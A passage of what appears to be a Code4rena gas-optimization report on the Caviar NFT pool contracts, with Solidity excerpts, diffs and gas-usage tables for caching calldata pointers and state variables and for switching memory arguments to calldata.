159:        for (uint256 i = 0; i < sells.length; i++) {
160:            // transfer the NFTs into the router from the caller
161:            for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
162:                ERC721(sells[i].nft).safeTransferFrom(msg.sender, address(this), sells[i].tokenIds[j]);
163:            }
164:
165:            // approve the pair to transfer NFTs from the router
166:            ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true);
167:
168:            if (sells[i].isPublicPool) {
169:                // exceute the sell against a public pool
170:                uint256 outputAmount = Pair(sells[i].pool).nftSell(
171:                    sells[i].tokenIds,
172:                    0,
173:                    0,
174:                    sells[i].publicPoolProofs,
175:                    // ReservoirOracle.Message[] is the exact same as IStolenNftOracle.Message[] and can be
176:                    // decoded/encoded 1-to-1.
177:                    abi.decode(abi.encode(sells[i].stolenNftProofs), (ReservoirOracle.Message[]))
178:                );
179:
180:                // pay the royalties if seller has opted-in
181:                if (payRoyalties) {
182:                    uint256 salePrice = outputAmount / sells[i].tokenIds.length;
183:                    for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
184:                        // get the royalty fee and recipient
185:                        (uint256 royaltyFee, address royaltyRecipient) =
186:                            getRoyalty(sells[i].nft, sells[i].tokenIds[j], salePrice);
187:
188:                        if (royaltyFee > 0) {
189:                            // transfer the royalty fee to the royalty recipient
190:                            royaltyRecipient.safeTransferETH(royaltyFee);
191:                        }
192:                    }
193:                }
194:            } else {
195:                // execute the sell against a private pool
196:                PrivatePool(sells[i].pool).sell(
197:                    sells[i].tokenIds, sells[i].tokenWeights, sells[i].proof, sells[i].stolenNftProofs
198:                );
199:            }
200:        }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..12218d6 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -157,33 +157,35 @@ contract EthRouter is ERC721TokenReceiver {

         // loop through and execute the sells
         for (uint256 i = 0; i < sells.length; i++) {
+            Sell calldata _sell = sells[i];
+            uint256[] calldata _tokenIds = _sell.tokenIds;
             // transfer the NFTs into the router from the caller
-            for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
-                ERC721(sells[i].nft).safeTransferFrom(msg.sender, address(this), sells[i].tokenIds[j]);
+            for (uint256 j = 0; j < _tokenIds.length; j++) {
+                ERC721(_sell.nft).safeTransferFrom(msg.sender, address(this), _tokenIds[j]);
             }

             // approve the pair to transfer NFTs from the router
-            ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true);
+            ERC721(_sell.nft).setApprovalForAll(_sell.pool, true);

-            if (sells[i].isPublicPool) {
+            if (_sell.isPublicPool) {
                 // exceute the sell against a public pool
-                uint256 outputAmount = Pair(sells[i].pool).nftSell(
-                    sells[i].tokenIds,
+                uint256 outputAmount = Pair(_sell.pool).nftSell(
+                    _tokenIds,
                     0,
                     0,
-                    sells[i].publicPoolProofs,
+                    _sell.publicPoolProofs,
                     // ReservoirOracle.Message[] is the exact same as IStolenNftOracle.Message[] and can be
                     // decoded/encoded 1-to-1.
-                    abi.decode(abi.encode(sells[i].stolenNftProofs), (ReservoirOracle.Message[]))
+                    abi.decode(abi.encode(_sell.stolenNftProofs), (ReservoirOracle.Message[]))
                 );

                 // pay the royalties if seller has opted-in
                 if (payRoyalties) {
-                    uint256 salePrice = outputAmount / sells[i].tokenIds.length;
-                    for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
+                    uint256 salePrice = outputAmount / _tokenIds.length;
+                    for (uint256 j = 0; j < _tokenIds.length; j++) {
                         // get the royalty fee and recipient
                         (uint256 royaltyFee, address royaltyRecipient) =
-                            getRoyalty(sells[i].nft, sells[i].tokenIds[j], salePrice);
+                            getRoyalty(_sell.nft, _tokenIds[j], salePrice);

                         if (royaltyFee > 0) {
                             // transfer the royalty fee to the royalty recipient
@@ -193,8 +195,8 @@ contract EthRouter is ERC721TokenReceiver {
                 }
             } else {
                 // execute the sell against a private pool
-                PrivatePool(sells[i].pool).sell(
-                    sells[i].tokenIds, sells[i].tokenWeights, sells[i].proof, sells[i].stolenNftProofs
+                PrivatePool(_sell.pool).sell(
+                    _tokenIds, _sell.tokenWeights, _sell.proof, _sell.stolenNftProofs
                 );
             }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L261-L287

Cache calldata pointer for changes[i] and memory pointers for changes[i].inputTokenIds & changes[i].outputTokenIds

Gas Savings for EthRouter.change, obtained via protocol’s tests: Avg 4314 gas

Med Max Avg # calls
Before 284857 298879 217295 4
After 279105 293127 212981 4
File: src/EthRouter.sol
261:        for (uint256 i = 0; i < changes.length; i++) {
262:            Change memory _change = changes[i];
263:
264:            // transfer NFTs from caller
265:            for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) {
266:                ERC721(_change.nft).safeTransferFrom(msg.sender, address(this), _change.inputTokenIds[j]);
267:            }
268:
269:            // approve pair to transfer NFTs from router
270:            ERC721(_change.nft).setApprovalForAll(_change.pool, true);
271:
272:            // execute change
273:            PrivatePool(_change.pool).change{value: msg.value}(
274:                _change.inputTokenIds,
275:                _change.inputTokenWeights,
276:                _change.inputProof,
277:                _change.stolenNftProofs,
278:                _change.outputTokenIds,
279:                _change.outputTokenWeights,
280:                _change.outputProof
281:            );
282:
283:            // transfer NFTs to caller
284:            for (uint256 j = 0; j < changes[i].outputTokenIds.length; j++) {
285:                ERC721(_change.nft).safeTransferFrom(address(this), msg.sender, _change.outputTokenIds[j]);
286:            }
287:        }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..c63c2f8 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -259,11 +259,13 @@ contract EthRouter is ERC721TokenReceiver {

         // loop through and execute the changes
         for (uint256 i = 0; i < changes.length; i++) {
-            Change memory _change = changes[i];
+            Change calldata _change = changes[i];
+            uint256[] memory _inputTokenIds = _change.inputTokenIds;
+            uint256[] memory _outputTokenIds = _change.outputTokenIds;

             // transfer NFTs from caller
-            for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) {
-                ERC721(_change.nft).safeTransferFrom(msg.sender, address(this), _change.inputTokenIds[j]);
+            for (uint256 j = 0; j < _inputTokenIds.length; j++) {
+                ERC721(_change.nft).safeTransferFrom(msg.sender, address(this), _inputTokenIds[j]);
             }

             // approve pair to transfer NFTs from router
@@ -271,18 +273,18 @@ contract EthRouter is ERC721TokenReceiver {

             // execute change
             PrivatePool(_change.pool).change{value: msg.value}(
-                _change.inputTokenIds,
+                _inputTokenIds,
                 _change.inputTokenWeights,
                 _change.inputProof,
                 _change.stolenNftProofs,
-                _change.outputTokenIds,
+                _outputTokenIds,
                 _change.outputTokenWeights,
                 _change.outputProof
             );

             // transfer NFTs to caller
-            for (uint256 j = 0; j < changes[i].outputTokenIds.length; j++) {
-                ERC721(_change.nft).safeTransferFrom(address(this), msg.sender, _change.outputTokenIds[j]);
+            for (uint256 j = 0; j < _outputTokenIds.length; j++) {
+                ERC721(_change.nft).safeTransferFrom(address(this), msg.sender, _outputTokenIds[j]);
             }
         }

[G-02] Use calldata instead of memory for function arguments that do not get mutated

When you specify a data location as memory, that value will be copied into memory. When you specify the location as calldata, the value will stay static within calldata. If the value is a large, complex type, using memory may result in extra memory expansion costs.

Note: We are able to change these instances from memory to calldata without causing a stack too deep error.

Total Instances: 4

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L385-L393

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L459

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L661-L664

Gas Savings for PrivatePool.change, obtained via protocol’s tests: Avg 1489 gas

Med Max Avg # calls
Before 116432 142008 82138 17
After 114756 139483 80649 17

Gas Savings for PrivatePool.execute, obtained via protocol’s tests: Avg 340 gas

Med Max Avg # calls
Before 18340 36348 18890 6
After 17976 35939 18550 6

Note: PrivatePool.sumWeightsAndValidateProof is called by the functions below.

Gas Savings for PrivatePool.buy, obtained via protocol’s tests: Avg 147 gas

Med Max Avg # calls
Before 74037 158864 70884 24
After 73887 158708 70737 24

Gas Savings for PrivatePool.sell, obtained via protocol’s tests: Avg 171 gas

Med Max Avg # calls
Before 50139 170448 81969 25
After 49989 170256 81798 25
File: src/PrivatePool.sol
385:    function change(
386:        uint256[] memory inputTokenIds,
387:        uint256[] memory inputTokenWeights,
388:        MerkleMultiProof memory inputProof,
389:        IStolenNftOracle.Message[] memory stolenNftProofs,
390:        uint256[] memory outputTokenIds,

459:    function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {

661:    function sumWeightsAndValidateProof(
662:        uint256[] memory tokenIds,
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..914dace 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -383,11 +383,11 @@ contract PrivatePool is ERC721TokenReceiver {
     /// @param outputTokenWeights The weights of the NFTs to receive.
     /// @param outputProof The merkle proof for the weights of each NFT to receive.
     function change(
-        uint256[] memory inputTokenIds,
+        uint256[] calldata inputTokenIds,
         uint256[] memory inputTokenWeights,
         MerkleMultiProof memory inputProof,
         IStolenNftOracle.Message[] memory stolenNftProofs,
-        uint256[] memory outputTokenIds,
+        uint256[] calldata outputTokenIds,
         uint256[] memory outputTokenWeights,
         MerkleMultiProof memory outputProof
     ) public payable returns (uint256 feeAmount, uint256 protocolFeeAmount) {
@@ -456,7 +456,7 @@ contract PrivatePool is ERC721TokenReceiver {
     /// @param target The address of the target contract.
     /// @param data The data to send to the target contract.
     /// @return returnData The return data of the transaction.
-    function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
+    function execute(address target, bytes calldata data) public payable onlyOwner returns (bytes memory) {
         // call the target with the value and data
         (bool success, bytes memory returnData) = target.call{value: msg.value}(data);

@@ -659,7 +659,7 @@ contract PrivatePool is ERC721TokenReceiver {
     /// @param proof The merkle proof for the weights of each NFT.
     /// @return sum The sum of the weights of each NFT.
     function sumWeightsAndValidateProof(
-        uint256[] memory tokenIds,
+        uint256[] calldata tokenIds,
         uint256[] memory tokenWeights,
         MerkleMultiProof memory proof
     ) public view returns (uint256) {

[G-03] State variables can be cached instead of re-reading them from storage

Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read.

Note: Some view functions are included below since they are called within state mutating functions

Total Instances: 16

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L742-L746

Cache baseToken to save 1 SLOAD

File: src/PrivatePool.sol
742:    function price() public view returns (uint256) {
743:        // ensure that the exponent is always to 18 decimals of accuracy
744:        uint256 exponent = baseToken == address(0) ? 18 : (36 - ERC20(baseToken).decimals()); // @audit: 1st & 2nd sload
745:        return (virtualBaseTokenReserves * 10 ** exponent) / virtualNftReserves;
746:    }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..2f747fc 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -741,7 +741,8 @@ contract PrivatePool is ERC721TokenReceiver {
     /// @return price The price of the pool.
     function price() public view returns (uint256) {
         // ensure that the exponent is always to 18 decimals of accuracy
-        uint256 exponent = baseToken == address(0) ? 18 : (36 - ERC20(baseToken).decimals());
+        address _baseToken = baseToken;
+        uint256 exponent = _baseToken == address(0) ? 18 : (36 - ERC20(_baseToken).decimals());
         return (virtualBaseTokenReserves * 10 ** exponent) / virtualNftReserves;
     }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L731-L738

Cache baseToken to save 1 SLOAD

File: src/PrivatePool.sol
    function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) { 
        // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
        uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4; // @audit: 1st and 2nd sload
        uint256 feePerNft = changeFee * 10 ** exponent;

        feeAmount = inputAmount * feePerNft / 1e18;
        protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
    }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..aba824f 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -730,7 +730,8 @@ contract PrivatePool is ERC721TokenReceiver {
     /// @return protocolFeeAmount The protocol fee amount.
     function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
         // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
-        uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
+        address _baseToken = baseToken;
+        uint256 exponent = _baseToken == address(0) ? 18 - 4 : ERC20(_baseToken).decimals() - 4;
         uint256 feePerNft = changeFee * 10 ** exponent;

         feeAmount = inputAmount * feePerNft / 1e18;

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L661-L684

Cache merkleRoot to save 1 SLOAD

File: src/PrivatePool.sol
661:    function sumWeightsAndValidateProof(
662:        uint256[] memory tokenIds,
663:        uint256[] memory tokenWeights,
664:        MerkleMultiProof memory proof
665:    ) public view returns (uint256) {
666:        // if the merkle root is not set then set the weight of each nft to be 1e18
667:        if (merkleRoot == bytes32(0)) { // @audit: 1st sload
668:            return tokenIds.length * 1e18;
669:        }
670:
671:        uint256 sum;
672:        bytes32[] memory leafs = new bytes32[](tokenIds.length);
673:        for (uint256 i = 0; i < tokenIds.length; i++) {
674:            // create the leaf for the merkle proof
675:            leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(tokenIds[i], tokenWeights[i]))));
676:
677:            // sum each token weight
678:            sum += tokenWeights[i];
679:        }
680:
681:        // validate that the weights are valid against the merkle proof
682:        if (!MerkleProofLib.verifyMultiProof(proof.proof, merkleRoot, leafs, proof.flags)) { // @audit: 2nd sload
683:            revert InvalidMerkleProof();
684:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..7385ea9 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -664,7 +664,8 @@ contract PrivatePool is ERC721TokenReceiver {
         MerkleMultiProof memory proof
     ) public view returns (uint256) {
         // if the merkle root is not set then set the weight of each nft to be 1e18
-        if (merkleRoot == bytes32(0)) {
+        bytes32 _merkleRoot = merkleRoot;
+        if (_merkleRoot == bytes32(0)) {
             return tokenIds.length * 1e18;
         }

@@ -679,7 +680,7 @@ contract PrivatePool is ERC721TokenReceiver {
         }

         // validate that the weights are valid against the merkle proof
-        if (!MerkleProofLib.verifyMultiProof(proof.proof, merkleRoot, leafs, proof.flags)) {
+        if (!MerkleProofLib.verifyMultiProof(proof.proof, _merkleRoot, leafs, proof.flags)) {
             revert InvalidMerkleProof();
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L635-L651

Cache baseToken to save 2 SLOADs

File: src/PrivatePool.sol
635:        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount(); // @audit: 1st sload
636:
637:        // transfer the NFT to the borrower
638:        ERC721(token).safeTransferFrom(address(this), address(receiver), tokenId);
639:
640:        // call the borrower
641:        bool success =
642:            receiver.onFlashLoan(msg.sender, token, tokenId, fee, data) == keccak256("ERC3156FlashBorrower.onFlashLoan");
643:
644:        // check that flashloan was successful
645:        if (!success) revert FlashLoanFailed();
646:
647:        // transfer the NFT from the borrower
648:        ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);
649:
650:        // transfer the fee from the borrower
651:        if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee); // @audit: 2nd & 3rd sload
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..c8b3cc1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -632,7 +632,8 @@ contract PrivatePool is ERC721TokenReceiver {
         uint256 fee = flashFee(token, tokenId);

         // if base token is ETH then check that caller sent enough for the fee
-        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();
+        address _baseToken = baseToken;
+        if (_baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();

         // transfer the NFT to the borrower
         ERC721(token).safeTransferFrom(address(this), address(receiver), tokenId);
@@ -648,7 +649,7 @@ contract PrivatePool is ERC721TokenReceiver {
         ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);

         // transfer the fee from the borrower
-        if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee);
+        if (_baseToken != address(0)) ERC20(_baseToken).transferFrom(msg.sender, address(this), fee);

         return success;
     }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L489-L503

Cache baseToken to save 3 SLOADs

File: src/PrivatePool.sol
489:        if ((baseToken == address(0) && msg.value != baseTokenAmount) || (msg.value > 0 && baseToken != address(0))) { // @audit: 1st & 2nd sload
490:            revert InvalidEthAmount();
491:        }
492:
493:        // ~~~ Interactions ~~~ //
494:
495:        // transfer the nfts from the caller
496:        for (uint256 i = 0; i < tokenIds.length; i++) {
497:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
498:        }
499:
500:        if (baseToken != address(0)) { // @audit: 3rd sload
501:            // transfer the base tokens from the caller
502:            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount); // @audit: 4th sload
503:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..92349e1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -486,7 +486,8 @@ contract PrivatePool is ERC721TokenReceiver {

         // ensure the caller sent a valid amount of ETH if base token is ETH or that the caller sent 0 ETH if base token
         // is not ETH
-        if ((baseToken == address(0) && msg.value != baseTokenAmount) || (msg.value > 0 && baseToken != address(0))) {
+        address _baseToken = baseToken;
+        if ((_baseToken == address(0) && msg.value != baseTokenAmount) || (msg.value > 0 && _baseToken != address(0))) {
             revert InvalidEthAmount();
         }

@@ -497,9 +498,9 @@ contract PrivatePool is ERC721TokenReceiver {
             ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
         }

-        if (baseToken != address(0)) {
+        if (_baseToken != address(0)) {
             // transfer the base tokens from the caller
-            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount);
+            ERC20(_baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount);
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L397-L426

Cache baseToken to save 3 SLOADs

File: src/PrivatePool.sol
397:        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount(); // @audit: 1st sload
...
421:        if (baseToken != address(0)) { // @audit: 2nd sload
422:            // transfer the fee amount of base tokens from the caller
423:            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), feeAmount); // @audit: 3rd sload
424:
425:            // if the protocol fee is non-zero then transfer the protocol fee to the factory
426:            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransferFrom(msg.sender, factory, protocolFeeAmount); // @audit: 4th sload
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..912790f 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -394,7 +394,8 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // check that the caller sent 0 ETH if base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+        address _baseToken = baseToken;
+        if (_baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();

         // check that NFTs are not stolen
         if (useStolenNftOracle) {
@@ -418,12 +419,12 @@ contract PrivatePool is ERC721TokenReceiver {

         // ~~~ Interactions ~~~ //

-        if (baseToken != address(0)) {
+        if (_baseToken != address(0)) {
             // transfer the fee amount of base tokens from the caller
-            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), feeAmount);
+            ERC20(_baseToken).safeTransferFrom(msg.sender, address(this), feeAmount);

             // if the protocol fee is non-zero then transfer the protocol fee to the factory
-            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransferFrom(msg.sender, factory, protocolFeeAmount);
+            if (protocolFeeAmount > 0) ERC20(_baseToken).safeTransferFrom(msg.sender, factory, protocolFeeAmount);
         } else {
             // check that the caller sent enough ETH to cover the fee amount and protocol fee
             if (msg.value < feeAmount + protocolFeeAmount) revert InvalidEthAmount();

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L357-L369

Cache baseToken to save 2 SLOADs

File: src/PrivatePool.sol
357:        if (baseToken == address(0)) { // @audit: 1st sload
358:            // transfer ETH to the caller
359:            msg.sender.safeTransferETH(netOutputAmount);
360:
361:            // if the protocol fee is set then pay the protocol fee
362:            if (protocolFeeAmount > 0) factory.safeTransferETH(protocolFeeAmount);
363:        } else {
364:            // transfer base tokens to the caller
365:            ERC20(baseToken).transfer(msg.sender, netOutputAmount); // @audit: 2nd sload
366:
367:            // if the protocol fee is set then pay the protocol fee
368:            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransfer(address(factory), protocolFeeAmount); // @audit: 3rd sload
369:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..2511385 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -353,8 +353,9 @@ contract PrivatePool is ERC721TokenReceiver {

         // subtract the royalty fee amount from the net output amount
         netOutputAmount -= royaltyFeeAmount;
-
-        if (baseToken == address(0)) {
+
+        address _baseToken = baseToken;
+        if (_baseToken == address(0)) {
             // transfer ETH to the caller
             msg.sender.safeTransferETH(netOutputAmount);

@@ -362,10 +363,10 @@ contract PrivatePool is ERC721TokenReceiver {
             if (protocolFeeAmount > 0) factory.safeTransferETH(protocolFeeAmount);
         } else {
             // transfer base tokens to the caller
-            ERC20(baseToken).transfer(msg.sender, netOutputAmount);
+            ERC20(_baseToken).transfer(msg.sender, netOutputAmount);

             // if the protocol fee is set then pay the protocol fee
-            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransfer(address(factory), protocolFeeAmount);
+            if (protocolFeeAmount > 0) ERC20(_baseToken).safeTransfer(address(factory), protocolFeeAmount);
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L225-L259

Cache baseToken to save 3 SLOADs.

File: src/PrivatePool.sol
225:        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount(); // @audit: 1st sload
...        
254:        if (baseToken != address(0)) { // @audit: 2nd sload
255:            // transfer the base token from the caller to the contract
256:            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), netInputAmount); // @audit: 3rd sload
257:
258:            // if the protocol fee is set then pay the protocol fee
259:            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransfer(address(factory), protocolFeeAmount); // @audit: 4th sload
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5cc3318 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,19 +216,22 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to buy
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
+        address _baseToken = baseToken;
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

-        // calculate the required net input amount and fee amount
-        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
+            // calculate the required net input amount and fee amount
+            (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);

-        // check that the caller sent 0 ETH if the base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+            // check that the caller sent 0 ETH if the base token is not ETH
+            if (_baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
-        virtualNftReserves -= uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
+            virtualNftReserves -= uint128(weightSum);
+        }

         // ~~~ Interactions ~~~ //

@@ -251,12 +254,12 @@ contract PrivatePool is ERC721TokenReceiver {
         // add the royalty fee amount to the net input aount
         netInputAmount += royaltyFeeAmount;

-        if (baseToken != address(0)) {
+        if (_baseToken != address(0)) {
             // transfer the base token from the caller to the contract
-            ERC20(baseToken).safeTransferFrom(msg.sender, address(this), netInputAmount);
+            ERC20(_baseToken).safeTransferFrom(msg.sender, address(this), netInputAmount);

             // if the protocol fee is set then pay the protocol fee
-            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransfer(address(factory), protocolFeeAmount);
+            if (protocolFeeAmount > 0) ERC20(_baseToken).safeTransfer(address(factory), protocolFeeAmount);
         } else {
             // check that the caller sent enough ETH to cover the net required input
             if (msg.value < netInputAmount) revert InvalidEthAmount();

[G-04] Cache state variables outside of loop to avoid reading storage on every iteration

Reading from storage should always try to be avoided within loops. In the following instances, we are able to cache state variables outside of the loop to save a Gwarmaccess (100 gas) per loop iteration.

Note: Due to stack too deep errors, we will not be able to cache all the state variables read within the loops.

Total Instances: 6

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L238-L271

Cache payRoyalties to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
238:        for (uint256 i = 0; i < tokenIds.length; i++) {
239:            // transfer the NFT to the caller
240:            ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);
241:
242:            if (payRoyalties) { // @audit 1st sload + on every iteration
...
271:        if (payRoyalties) { // @audit: 2nd sload
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5d46070 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,30 +216,33 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to buy
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

-        // calculate the required net input amount and fee amount
-        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
+            // calculate the required net input amount and fee amount
+            (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);

-        // check that the caller sent 0 ETH if the base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+            // check that the caller sent 0 ETH if the base token is not ETH
+            if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
-        virtualNftReserves -= uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
+            virtualNftReserves -= uint128(weightSum);
+        }

         // ~~~ Interactions ~~~ //

         // calculate the sale price (assume it's the same for each NFT even if weights differ)
         uint256 salePrice = (netInputAmount - feeAmount - protocolFeeAmount) / tokenIds.length;
         uint256 royaltyFeeAmount = 0;
+        bool _payRoyalties = payRoyalties;
         for (uint256 i = 0; i < tokenIds.length; i++) {
             // transfer the NFT to the caller
             ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);

-            if (payRoyalties) {
+            if (_payRoyalties) {
                 // get the royalty fee for the NFT
                 (uint256 royaltyFee,) = _getRoyalty(tokenIds[i], salePrice);

@@ -268,7 +271,7 @@ contract PrivatePool is ERC721TokenReceiver {
             if (msg.value > netInputAmount) msg.sender.safeTransferETH(msg.value - netInputAmount);
         }

-        if (payRoyalties) {
+        if (_payRoyalties) {
             for (uint256 i = 0; i < tokenIds.length; i++) {
                 // get the royalty fee for the NFT
                 (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L238-L240

Cache nft to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
238:        for (uint256 i = 0; i < tokenIds.length; i++) {
239:            // transfer the NFT to the caller
240:            ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]); // @audit: sload on every iteration
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..257beba 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,28 +216,31 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to buy
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

-        // calculate the required net input amount and fee amount
-        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
+            // calculate the required net input amount and fee amount
+            (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);

-        // check that the caller sent 0 ETH if the base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+            // check that the caller sent 0 ETH if the base token is not ETH
+            if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
-        virtualNftReserves -= uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
+            virtualNftReserves -= uint128(weightSum);
+        }

         // ~~~ Interactions ~~~ //

         // calculate the sale price (assume it's the same for each NFT even if weights differ)
         uint256 salePrice = (netInputAmount - feeAmount - protocolFeeAmount) / tokenIds.length;
